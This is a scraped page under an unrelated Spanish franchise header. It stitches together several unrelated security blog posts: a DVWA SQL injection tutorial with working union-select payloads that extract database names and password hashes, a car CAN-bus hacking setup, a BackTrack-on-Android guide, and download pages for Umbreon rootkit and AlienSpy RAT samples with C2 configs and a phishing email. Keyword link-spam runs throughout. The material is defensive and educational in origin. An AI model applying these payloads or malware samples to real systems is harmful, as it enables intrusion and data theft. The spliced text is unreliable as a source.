Aquí Hay Trabajo

Empresa con experiencia en la asistencia a las personas busca franquiciados nacionales (internacionales en un futuro próximo), para ofrecer sus servicios a las familias, mayores y niños, que resuelven cualquier imprevisto en nuestra rutina diaria: Salud, colegio, viajes, hogar, etc.

domingo, 26 de abril de 2020

Learning Web Pentesting With DVWA Part 2: SQL Injection

In the last article Learning Web Pentesting With DVWA Part 1: Installation, you were given a glimpse of SQL injection when we installed the DVWA app. In this article we will explain what we did at the end of that article and much more.
Lets start by defining what SQL injection is, OWASP defines it as: "A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands."
Which basically means that we can use a simple (vulnerable) input field in our web application to get information from the database of the server which hosts the web application. We can command and control (at certain times) the database of the web application or even the server.
In this article we are going to perform SQL injection attack on DVWA, so let's jump in. On the DVWA welcome page click on SQL Injection navigation link. We are presented with a page with an input field for User ID.
Now lets try to input a value like 1 in the input field. We can see a response from server telling us the firstname and surname of the user associated with User ID 1.
If we try to enter a user id which doesn't exist, we get no data back from the server. To determine whether an input field is vulnerable to SQL injection, we first start by sending a single quote (') as input. Which returns an SQL error.
We saw this in the previous article and we also talked about injection point in it. Before diving deeper into how this vulnerability can be exploited lets try to understand how this error might have occurred. Lets try to build the SQL query that the server might be trying to execute. Say the query looks something like this:
SELECT first_name, sur_name FROM users WHERE user_id = '1';
The 1 in this query is the value supplied by the user in the User ID input field. When we input a single quote in the User ID input field, the query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''';
The quotes around the input provided in the User ID input field are from the server side application code. The error is due to the extra single quote present in the query. Now if we specify a comment after the single quote like this:
'-- -
or
'#
we should get no error. Now our crafted query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
or
SELECT first_name, sur_name FROM users WHERE user_id = ''#';
since everything after the # or -- - are commented out, the query will ignore the extra single quote added by the server side app and whatever comes after it and will not generate any error. However the query returns nothing because we specified nothing ('') as the user_id.
After knowing how things might be working on the server side, we will start to attack the application.
First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
' order by 1-- -
This MySQL server might execute the query as:
SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
you get the idea now.
if we don't get any error message, we will increase the number to 2 like this:
' order by 2-- -
still no error message, lets add another:
' order by 3-- -
and there we go we have an error message. Which tells us the number of columns that the server query selects is 2 because it erred out at 3.
Now lets use the union select SQL statement to get information about the database itself.
' union select null, version()-- -
You should first understand what a union select statement does and only then can you understand what we are doing here. You can read about it here.
We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
Now lets check who the database user is using the user() function of mariadb:
' union select null, user()-- -
After clicking the submit button you should be able to see the user of the database in surname.

Now lets get some information about the databases in the database.
Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
This lists two databases dvwa and information_schema. information_schema is the built in database. Lets look at the dvwa database.
Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
It gives a huge number of tables that are present in dvwa database. But what we are really interested in is the users table as it is most likely to contain user passwords. But first we need to determine columns of that table and we will do that by querying INFORMATION_SCHEMA.COLUMNS like this:
' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -

We can see the password column in the output now lets get those passwords:
' union select user, password from users-- -
Of-course those are the hashes and not plain text passwords. You need to crack them.
Hope you learned something about SQL injection in this article. See you next time.

References:

1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html

More information


Hacking All The Cars - Part 2


Connecting Hardware to Your Real Car: 

 I realized the other day I posted Part 2 of this series to my youtube awhile ago but not blogger so this one will be quick and mostly via video walkthrough. I often post random followup videos which may never arrive on this blog. So if you're waiting on something specific I mentioned or the next part to a series its always a good idea to subscribe to the YouTube. This is almost always true if there is video associated with the post.  

In the last blog we went over using virtual CAN devices to interact with a virtual car simulators of a CAN network This was awesome because it allowed us to learn how to interact with he underlying CAN network without fear of hacking around on an expensive automobile. But now it's time to put on your big boy pants and create a real CAN interface with hardware and plug your hardware device into your ODB2 port. 

The video I created below will show you where to plug your device in, how to configure it and how to take the information you learned while hacking around on the virtual car from part1 and apply it directly to a real car.   

Video Walk Through Using Hardware on a Real Car




As a reference here are the two device options I used in the video and the needed cable: 

Hardware Used: 

Get OBD2 Cable:
https://amzn.to/2QSmtyL

Get CANtact:
https://amzn.to/2xCqhMt

Get USB2CAN:
https://shop.8devices.com/usb2can


Creating Network Interfaces: 

As a reference here are the commands from the video for creating a CAN network interface: 

USB2Can Setup: 
The following command will bring up your can interface and you should see the device light color change: 
sudo ip link set can0 up type can bitrate 125000

Contact Setup: 
Set your jumpers on 3,5 and 7 as seen in the picture in the video
Sudo slcand -o -s6 /dev/ttyACM can0 <— whatever device you see in your DMESG output
Ifconfig can0 up

Summary: 

That should get you started connecting to physical cars and hacking around. I was also doing a bit of python coding over these interfaces to perform actions and sniff traffic. I might post that if anyone is interested. Mostly I have been hacking around on blockchain stuff and creating full course content recently so keep a look out for that in the future. 

Related word


How To Install And Run Backtrack On Android

Guide you step by step to How to install and run Backtrack on android. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
Recently, We are discussed Install and Run BackTrack on Windows. Android is the best OS for penetration testing. It designed for digital forensics and penetration testing or hacking tool. It comes with many more updated tools. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
How To Install and Run Backtrack On AndroidRequirements
Step to Install and Run Backtrack On Android:
First of all extract the BT5-GNOME-ARM.7z. and copy the "BT5" folder and then put in your phone's root directory. Here mine phone is /sdcard. The root directory is different for different mobile devices.
  • Now install all the above apps BusyboxAndroid TerminalAndroid Vnc.
  • After installing BusyBox application open it and wait until it finishes loading and then click on Smart install.
  • Now open the android terminal and type the following command:
    su cd /sdcard/BT5sh bootbtNOTE :- When you type su in terminal it will ask you for superuser request and you have to tap on Grant.
  • After this, type the following commands in terminal.
    export USER=rootvncpasswd
  • After entering vncpasswd the terminal will ask you to enter the password. Enter the desired password and hit enter.
  • Now type the following commands.
    tightvncserver -geometry 1280×720
  • The terminal emulator will create the localhost to connect it to VNC server. Now note the localhost port marked red below. Now minimize the terminal emulator.
  • Open the Android VNC and type the following settings.
Nickname : BT5
Password : your password here which you entered in terminal (step no.6)
Address : localhost
Port : 5906
NOTE: Make sure that your localhost's port matches with terminal's localhost. Here mine New 'X' desktop is localhost:6. You may be different. So, in VNC type Port 590X where the "X" is the localhost in the android terminal.
That's it now just tap on connect to run the Backtrack on your android. So in this way you successfully install and run backtrack 5 on android. If you face any problem feel free to discuss in below comments!
Related word

sábado, 25 de abril de 2020

Rootkit Umbreon / Umreon - X86, ARM Samples



Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems
Research: Trend Micro


There are two packages
one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package)






Download

Download Email me if you need the password  



File information

Part one (full package)

#File NameHash ValueFile Size (on Disk)Duplicate?
1.umbreon-ascii0B880E0F447CD5B6A8D295EFE40AFA376085 bytes (5.94 KiB)
2autoroot1C5FAEEC3D8C50FAC589CD0ADD0765C7281 bytes (281 bytes)
3CHANGELOGA1502129706BA19667F128B44D19DC3C11 bytes (11 bytes)
4cli.shC846143BDA087783B3DC6C244C2707DC5682 bytes (5.55 KiB)
5hideportsD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)Yes, of file promptlog
6install.sh9DE30162E7A8F0279E19C2C30280FFF85634 bytes (5.5 KiB)
7Makefile0F5B1E70ADC867DD3A22CA62644007E5797 bytes (797 bytes)
8portchecker006D162A0D0AA294C85214963A3D3145113 bytes (113 bytes)
9promptlogD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)
10readlink.c42FC7D7E2F9147AB3C18B0C4316AD3D81357 bytes (1.33 KiB)
11ReadMe.txtB7172B364BF5FB8B5C30FF528F6C51252244 bytes (2.19 KiB)
12setup694FFF4D2623CA7BB8270F5124493F37332 bytes (332 bytes)
13spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)Yes, of file spytty.sh
14umbreon.c91706EF9717176DBB59A0F77FE95241C1007 bytes (1007 bytes)
15access.c7C0A86A27B322E63C3C29121788998B8713 bytes (713 bytes)
16audit.cA2B2812C80C93C9375BFB0D7BFCEFD5B1434 bytes (1.4 KiB)
17chown.cFF9B679C7AB3F57CFBBB852A13A350B22870 bytes (2.8 KiB)
18config.h980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)
19config.h.dist980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)Yes, of file config.h
20dirs.c46B20CC7DA2BDB9ECE65E36A4F987ABC3639 bytes (3.55 KiB)
21dlsym.c796DA079CC7E4BD7F6293136604DC07B4088 bytes (3.99 KiB)
22exec.c1935ED453FB83A0A538224AFAAC71B214033 bytes (3.94 KiB)
23getpath.h588603EF387EB617668B00EAFDAEA393183 bytes (183 bytes)
24getprocname.hF5781A9E267ED849FD4D2F5F3DFB8077805 bytes (805 bytes)
25includes.hF4797AE4B2D5B3B252E0456020F58E59629 bytes (629 bytes)
26kill.cC4BD132FC2FFBC84EA5103ABE6DC023D555 bytes (555 bytes)
27links.c898D73E1AC14DE657316F084AADA58A02274 bytes (2.22 KiB)
28local-door.c76FC3E9E2758BAF48E1E9B442DB98BF8501 bytes (501 bytes)
29lpcap.hEA6822B23FE02041BE506ED1A182E5CB1690 bytes (1.65 KiB)
30maps.c9BCD90BEA8D9F9F6270CF2017F9974E21100 bytes (1.07 KiB)
31misc.h1F9FCC5D84633931CDD77B32DB1D50D02728 bytes (2.66 KiB)
32netstat.c00CF3F7E7EA92E7A954282021DD72DC41113 bytes (1.09 KiB)
33open.cF7EE88A523AD2477FF8EC17C9DCD7C028594 bytes (8.39 KiB)
34pam.c7A947FDC0264947B2D293E1F4D69684A2010 bytes (1.96 KiB)
35pam_private.h2C60F925842CEB42FFD639E7C763C7B012480 bytes (12.19 KiB)
36pam_vprompt.c017FB0F736A0BC65431A25E1A9D393FE3826 bytes (3.74 KiB)
37passwd.cA0D183BBE86D05E3782B5B24E2C964132364 bytes (2.31 KiB)
38pcap.cFF911CA192B111BD0D9368AFACA03C461295 bytes (1.26 KiB)
39procstat.c7B14E97649CD767C256D4CD6E4F8D452398 bytes (398 bytes)
40procstatus.c72ED74C03F4FAB0C1B801687BE200F063303 bytes (3.23 KiB)
41readwrite.cC068ED372DEAF8E87D0133EAC0A274A82710 bytes (2.65 KiB)
42rename.cC36BE9C01FEADE2EF4D5EA03BD2B3C05535 bytes (535 bytes)
43setgid.c5C023259F2C244193BDA394E2C0B8313667 bytes (667 bytes)
44sha256.h003D805D919B4EC621B800C6C239BAE0545 bytes (545 bytes)
45socket.c348AEF06AFA259BFC4E943715DB5A00B579 bytes (579 bytes)
46stat.cE510EE1F78BD349E02F47A7EB001B0E37627 bytes (7.45 KiB)
47syslog.c7CD3273E09A6C08451DD598A0F18B5701497 bytes (1.46 KiB)
48umbreon.hF76CAC6D564DEACFC6319FA167375BA54316 bytes (4.21 KiB)
49unhide-funcs.c1A9F62B04319DA84EF71A1B091434C644729 bytes (4.62 KiB)
50cryptpass.py2EA92D6EC59D85474ED7A91C8518E7EC192 bytes (192 bytes)
51environment.sh70F467FE218E128258D7356B7CE328F11086 bytes (1.06 KiB)
52espeon-connect.shA574C885C450FCA048E79AD6937FED2E247 bytes (247 bytes)
53espeon-shell9EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
54espeon.c499FF5CF81C2624B0C3B0B7E9C6D980D14899 bytes (14.55 KiB)
55listen.sh69DA525AEA227BE9E4B8D59ACFF4D717209 bytes (209 bytes)
56spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
57ssh-hidden.shAE54F343FE974302F0D31776B72D0987127 bytes (127 bytes)
58unfuck.c457B6E90C7FA42A7C46D464FBF1D68E2384 bytes (384 bytes)
59unhide-self.pyB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
60listen.shF5BD197F34E3D0BD8EA28B182CCE7270233 bytes (233 bytes)

part 2 (those listed in the Trend Micro article)
#File NameHash ValueFile Size (on Disk)
1015a84eb1d18beb310e7aeeceab8b84776078935c45924b3a10aa884a93e28acA47E38464754289C0F4A55ED7BB556489375 bytes (9.16 KiB)
20751cf716ea9bc18e78eb2a82cc9ea0cac73d70a7a74c91740c95312c8a9d53aF9BA2429EAE5471ACDE820102C5B81597512 bytes (7.34 KiB)
30a4d5ffb1407d409a55f1aed5c5286d4f31fe17bc99eabff64aa1498c5482a5f0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
40ce8c09bb6ce433fb8b388c369d7491953cf9bb5426a7bee752150118616d8ffB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
5122417853c1eb1868e429cacc499ef75cfc018b87da87b1f61bff53e9b8e86709EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
6409c90ecd56e9abcb9f290063ec7783ecbe125c321af3f8ba5dcbde6e15ac64aB4746BB5E697F23A5842ABCAED36C9146149 bytes (6 KiB)
74fc4b5dab105e03f03ba3ec301bab9e2d37f17a431dee7f2e5a8dfadcca4c234D0D97899131C29B3EC9AE89A6D49A23E65160 bytes (63.63 KiB)
88752d16e32a611763eee97da6528734751153ac1699c4693c84b6e9e4fb08784E7E82D29DFB1FC484ED277C70218781855564 bytes (54.26 KiB)
9991179b6ba7d4aeabdf463118e4a2984276401368f4ab842ad8a5b8b730885222B1863ACDC0068ED5D50590CF792DF057664 bytes (7.48 KiB)
10a378b85f8f41de164832d27ebf7006370c1fb8eda23bb09a3586ed29b5dbdddfA977F68C59040E40A822C384D1CEDEB6176 bytes (176 bytes)
11aa24deb830a2b1aa694e580c5efb24f979d6c5d861b56354a6acb1ad0cf9809bDF320ED7EE6CCF9F979AEFE451877FFC26 bytes (26 bytes)
12acfb014304b6f2cff00c668a9a2a3a9cbb6f24db6d074a8914dd69b43afa452584D552B5D22E40BDA23E6587B1BC532D6852 bytes (6.69 KiB)
13c80d19f6f3372f4cc6e75ae1af54e8727b54b51aaf2794fedd3a1aa463140480087DD79515D37F7ADA78FF5793A42B7B11184 bytes (10.92 KiB)
14e9bce46584acbf59a779d1565687964991d7033d63c06bddabcfc4375c5f1853BBEB18C0C3E038747C78FCAB3E0444E371940 bytes (70.25 KiB)

Related word


  1. Growth Hacking Que Es
  2. Hacking Informatico
  3. Mind Hacking
  4. Herramientas Hacking Etico
  5. Curso De Hacking Gratis
  6. Hacking Books

WHO IS ETHICAL HACKER

Who is hacker?
A hacker is a Creative person and a creative Programmer,who have knowledge about Networking,Operating system,hacking & a best creative social engineer who control anyone's mind he is also a knowledgeable person.
Hacker are the problem solver and tool builder.

                                OR

A hacker is an individual who uses computer, networking and other skills to overcome a technical problem but it often refers to a person who uses his or her abilities to gain unauthorized access to system or networks in  order to commit crimes. 


Related articles


  1. Elhacker Ip
  2. Programas De Hacker
  3. Hacking Prank
  4. Machine Learning Hacking
  5. Curso Hacking Etico
  6. Hacking Articles
  7. Google Hacking
  8. Ingeniería Social El Arte Del Hacking Personal
  9. Google Hacking

AlienSpy Java RAT Samples And Traffic Information



AlienSpy Java based cross platform RAT is another reincarnation of ever popular Unrecom/Adwind and Frutas RATs that have been circulating through 2014.

It appears to be used in the same campaigns as was Unrccom/Adwind - see the references. If C2 responds, the java RAT downloads Jar files containing Windows Pony/Ponik loader. The RAT is crossplatform and installs and beacons from OSX and Linux as well. However, it did not download any additional malware while running on OSX and Linux.

The samples, pcaps, and traffic protocol information  are available below.




File information


I
File: DB46ADCFAE462E7C475C171FBE66DF82_paymentadvice.jar
Size: 131178
MD5:  DB46ADCFAE462E7C475C171FBE66DF82

File: 01234.exe (Pony loader dropped by FAB8DE636D6F1EC93EEECAADE8B9BC68 - Transfer.jar_
Size: 792122
MD5:  B5E7CD42B45F8670ADAF96BBCA5AE2D0

II
File: 79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar
Size: 125985
MD5:  79E9DD35AEF6558461C4B93CD0C55B76

III
File: B2856B11FF23D35DA2C9C906C61781BA_purchaseorder.jar
Size: 49084
MD5:  b2856b11ff23d35da2c9c906c61781ba


Download


Original jar attachment files
B2856B11FF23D35DA2C9C906C61781BA_purchaseorder.jar
DB46ADCFAE462E7C475C171FBE66DF82_paymentadvice.jar
79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar

Pcap files download
AlienSpyRAT_B2856B11FF23D35DA2C9C906C61781BA.pcap
AlienSpyRAT_79E9DD35AEF6558461C4B93CD0C55B76.pcap
Pony_B5E7CD42B45F8670ADAF96BBCA5AE2D0.pcap
AlienspyRAT_DB46ADCFAE462E7C475C171FBE66DF82-OSXLion.pcap
AlienspyRAT_DB46ADCFAE462E7C475C171FBE66DF82-WinXP.pcap

All files with created and downloaded


References

Research:
Boredliner: Cracking obfuscated java code - Adwind 3 << detailed java analysis
Fidelis: RAT in a jar:A phishing campaign using Unrecom May 21, 2014
Crowdstrike: Adwind RAT rebranding
Symantec:Adwind RAT
Symantec: Frutas RAT
Symantec: Ponik/Pony

Java Serialization References: 
https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html
http://www.kdgregory.com/index.php?page=java.serialization
http://staf.cs.ui.ac.id/WebKuliah/java/MasteringJavaBeans/ch11.pdf


Additional File details


Alienspy RAT
The following RAT config strings are extracted from memory dumps. Alienspy RAT is a reincarnated Unrecom/Adwind << Frutas RAT and is available from https://alienspy.net/
As you see by the config, it is very similar to Unrecom/Adwind
File: paymentadvice.jar
Size: 131178

MD5:  DB46ADCFAE462E7C475C171FBE66DF82
    ───paymentadvice.jar
        ├───META-INF
        │       MANIFEST.MF  <<MD5:  11691d9f7d585c528ca22f7ba6f4a131 Size: 90
        │
        ├───plugins
        │       Server.class <<MD5:  3d9ffbe03567067ae0d68124b5b7b748 Size: 520 << Strings are here
        │
        └───stub
                EcryptedWrapper.class <<MD5:  f2701642ac72992c983cb85981a5aeb6 Size: 89870
                EncryptedLoader.class <<MD5:  3edfd511873b30d1373a4dc54db336ee Size: 223356
                EncryptedLoaderOld.class << MD5:  b0ef7ff41caf69d9ae076c605653c4c7 Size: 15816
                stub.dll << MD5:  64fb8dfb8d25a0273081e78e7c40ca5e Size: 43648 << Strings are here


Alienspy Rat Config strings
DB46ADCFAE462E7C475C171FBE66DF82
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>AlienSpy</comment>
<entry key="vbox">false</entry>
<entry key="password">a2e74aef2c17329f0e8e8f347c62a6a03d16b944</entry>
<entry key="p2">1079</entry>
<entry key="p1">1077</entry>
<entry key="ps_hacker">false</entry>
<entry key="install_time">2000</entry>
<entry key="taskmgr">false</entry>
<entry key="connetion_time">2000</entry>
<entry key="registryname">GKXeW0Yke7</entry>
<entry key="wireshark">false</entry>
<entry key="NAME">IHEAKA</entry>
<entry key="jarname">unXX0JIhwW</entry>
<entry key="dns">204.45.207.40</entry>
<entry key="ps_explorer">false</entry>
<entry key="msconfig">false</entry>
<entry key="pluginfoldername">m4w6OAI02f</entry>
<entry key="extensionname">xBQ</entry>
<entry key="install">true</entry>
<entry key="win_defender">false</entry>
<entry key="uac">false</entry>
<entry key="jarfoldername">9bor9J6cRd</entry>
<entry key="mutex">xooJlYrm61</entry>
<entry key="prefix">IHEAKA</entry>
<entry key="restore_system">false</entry>
<entry key="vmware">false</entry>
<entry key="desktop">true</entry>
<entry key="reconnetion_time">2000</entry>
</properties>

IP: 204.45.207.40
Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver



79E9DD35AEF6558461C4B93CD0C55B76
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>AlienSpy</comment>
<entry key="pluginfolder">fy0qFUFuLP</entry>
<entry key="reconnetion_time">3000</entry>
<entry key="ps_hacker">true</entry>
<entry key="restore_system">true</entry>
<entry key="pluginfoldername">fy0qFUFuLP</entry>
<entry key="dns">38.89.137.248</entry>
<entry key="install_time">3000</entry>
<entry key="port2">1065</entry>
<entry key="port1">1064</entry>
<entry key="taskmgr">true</entry>
<entry key="vmware">false</entry>
<entry key="jarname">LcuSMagrlF</entry>
<entry key="msconfig">true</entry>
<entry key="mutex">VblVc5kEqY</entry>
<entry key="install">true</entry>
<entry key="instalar">true</entry>
<entry key="vbox">false</entry>
<entry key="password">7110eda4d09e062aa5e4a390b0a572ac0d2c0220</entry>
<entry key="NAME">xmas things</entry>
<entry key="extensionname">7h8</entry>
<entry key="prefix">xmas</entry>
<entry key="jarfoldername">jcwDpUEpCh</entry>
<entry key="uac">true</entry>
<entry key="win_defender">true</entry>
<entry key="

IP: 38.89.137.248
Decimal: 643402232
Hostname: 38.89.137.248
ISP: Cogent Communications
Country: United States us flag


Created Files

I
 DB46ADCFAE462E7C475C171FBE66DF82  paymentadvice.jar

%USERPROFILE%\Application Data\evt88IWdHO\CnREgyvLBS.txt <<MD5:  abe6ef71e44d2e145033800d0dccea57 << strings are here (by classes)
%USERPROFILE%\Application Data\evt88IWdHO\Desktop.ini
%USERPROFILE%\Local Settings\Temp\asdqw15727804162199772615555.jar << Strings are here
%USERPROFILE%\Local Settings\Temp\iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) <<MD5:  fab8de636d6f1ec93eeecaade8b9bc68 Size: 755017 << Strings are here
%USERPROFILE%\29OVHAabdr.tmp << timestamp file << Strings are here

\deleted_files\%USERPROFILE%\\29OVHAabdr.tmp << timestamp file << Strings are here
\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\Desktop.ini << Strings are here
\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\unXX0JIhwW.txt <MD5:  DB46ADCFAE462E7C475C171FBE66DF82 < original jar << Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\14583359.bat << Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\asdqw4727319084772952101234.exe << Pony Downloader MD5:  b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122 < Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\OiuFr7LcfXq1847924646026958055.vbs <<MD5:  9E1EDE0DEDADB7AF34C0222ADA2D58C9 Strings are here
\deleted_files\%USERPROFILE%\\xooJlYrm61.tmp < timestamp file << Strings are here
\deleted_files\C\WINDOWS\tem.txt - 0bytes

IWIMMQLGPST2624529381479181764.PNG MD5: fab8de636d6f1ec93eeecaade8b9bc68

├───com
│   └───java
│       │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232
│       │   Manifest.mf << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412
│               │   01234.exe << MD5:  b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122
│               │   15555.jar << MD5:  abe6ef71e44d2e145033800d0dccea57 Size: 50922
│              
│               └───15555
│                   │   ID
│                   │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232
│                   │   MANIFEST.MF << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412
│                   │
│                   ├───META-INF
│                   └───plugins
└───META-INF
        MANIFEST.MF << MD5:  042c2fa9077d96478ce585d210641d9a Size: 171


File types
  1. 14583359.bat (.txt) "Text file"
  2. 29OVHAabdr.tmp (.txt) "Text file"
  3. asdqw15727804162199772615555.jar (.zip) "PKZIP Compressed"
  4. asdqw4727319084772952101234.exe (.exe) "Executable File" 
  5. CnREgyvLBS.txt (.zip) "PKZIP Compressed"
  6. Desktop.ini (.txt) "Text file"
  7. DFR5.tmp (.txt) "Text file"
  8. iWimMQLgpsT2624529381479181764.png (.zip) "Zip Compressed"
  9. iWimMQLgpsT2624529381479181764.png (.zip) "PKZIP Compressed"
  10. OiuFr7LcfXq1847924646026958055.vbs (.txt) "Vbs script file"
  11. tem.txt (.txt) "Text file"
  12. unXX0JIhwW.txt (.zip) "PKZIP Compressed"
  13. xooJlYrm61.tmp (.txt) "Text file"
II

79e9dd35aef6558461c4b93cd0c55b76 Purchase Order.jar
Received: from magix-webmail (webmail.app.magix-online.com [193.254.184.250])
by smtp.app.magix-online.com (Postfix) with ESMTPSA id B626052E77F;
Sun, 16 Nov 2014 14:54:06 +0100 (CET)
Received: from 206.217.192.188 ([206.217.192.188]) by
 webmail.magix-online.com (Horde Framework) with HTTP; Sun, 16 Nov 2014
 14:54:06 +0100
Date: Sun, 16 Nov 2014 14:54:06 +0100
Message-ID: <20141116145406.Horde.YL7L4Bi7ap6_NXm76DDEaw2@webmail.magix-online.com>
From: Outokumpu Import Co Ltd <purchase@brentyil.org>
Subject: Re: Confirm correct details
Reply-to: jingwings@outlook.com
User-Agent: Internet Messaging Program (IMP) H5 (6.1.4)
Content-Type: multipart/mixed; boundary="=_FMdois7zoq7xTAV91epZoQ6"
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
This message is in MIME format.
--=_FMdois7zoq7xTAV91epZoQ6
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Dear Sir,
Please confirm the attached purchase order for your reference.
Please acknowledge Invoice for the final confirmation and confirm  
details are correct so we can proceed accordingly.
Please give me feedback through this email.
IBRAHIM MOHAMMAD AL FAR
Area Manager 
Central Region
Outokumpu Import Co Ltd
Tel:   +966-11-265-2030
Fax:  +966-11-265-0350
Mob: +966-50 610 8743
P.O Box: 172 Riyadh 11383
Kingdom of Saudi Arabia
--=_FMdois7zoq7xTAV91epZoQ6
Content-Type: application/java-archive; name="Purchase Order.jar"
Content-Description: Purchase Order.jar
Content-Disposition: attachment; size=125985; filename="Purchase Order.jar"
Content-Transfer-Encoding: base64

File paths
%USERPROFILE%\Application Data\jcwDpUEpCh\Desktop.ini
%USERPROFILE%\Application Data\jcwDpUEpCh\LcuSMagrlF.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\3884
%USERPROFILE%\VblVc5kEqY.tmp
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor267205042636993976.reg
deleted_files\%USERPROFILE%\VblVc5kEqY.tmp
deleted_files\C\WINDOWS\tem.txt

File types
Desktop.ini (.txt) "Text file"
index.dat (.txt) "Text file"
LcuSMagrlF.txt (.zip) "PKZIP Compressed"
TaskNetworkGathor267205042636993976.reg (.txt) "Text file"
tem.txt (.txt) "Text file"
VblVc5kEqY.tmp (.txt) "Text file"

MD5 list
Desktop.ini     e783bdd20a976eaeaae1ff4624487420
index.dat       b431d50792262b0ef75a3d79a4ca4a81
LcuSMagrlF.txt  79e9dd35aef6558461c4b93cd0c55b76
79e9dd35aef6558461c4b93cd0c55b76.malware       79e9dd35aef6558461c4b93cd0c55b76
TaskNetworkGathor267205042636993976.reg        6486acf0ca96ecdc981398855255b699 << Strings are here
tem.txt         d41d8cd98f00b204e9800998ecf8427e
VblVc5kEqY.tmp  b5c6ea9aaf042d88ee8cd61ec305880b

III
B2856B11FF23D35DA2C9C906C61781BA Purchase Order.jar
File paths
%USERPROFILE%\Application Data\Sys32\Desktop.ini
%USERPROFILE%\Application Data\Sys32\Windows.jar.txt
%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014111620141117\index.dat
%USERPROFILE%\Local Settings\Temp\hsperfdata_Laura\1132
%USERPROFILE%\WWMI853JfC.tmp
deleted_files\%USERPROFILE%\Local Settings\Temp\TaskNetworkGathor7441169770678304780.reg
deleted_files\%USERPROFILE%\Local Settings\History\History.IE5\MSHist012013110920131110\index.dat
deleted_files\%USERPROFILE%\WWMI853JfC.tmp
deleted_files\C\DFRA.tmp

deleted_files\C\WINDOWS\tem

File type list
Desktop.ini (.txt) "Text file"
DFRA.tmp (.txt) "Text file"
index.dat (.txt) "Text file"
TaskNetworkGathor7441169770678304780.reg (.txt) "Text file"
tem (.txt) "Text file"
Windows.jar.txt (.zip) "PKZIP Compressed"

WWMI853JfC.tmp (.txt) "Text file"

MD5 list
Desktop.ini     e783bdd20a976eaeaae1ff4624487420
DFRA.tmp        d41d8cd98f00b204e9800998ecf8427e
index.dat       b431d50792262b0ef75a3d79a4ca4a81
purchase.jar    b2856b11ff23d35da2c9c906c61781ba
TaskNetworkGathor7441169770678304780.reg       311af3b9a52ffc58f46ad83afb1e93b6
tem             d41d8cd98f00b204e9800998ecf8427e
Windows.jar.txt b2856b11ff23d35da2c9c906c61781ba
WWMI853JfC.tmp  8e222c61fc55c230407ef1eb21a7daa9



Traffic Information

Java Serialization Protocol traffic info

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - Windows XP
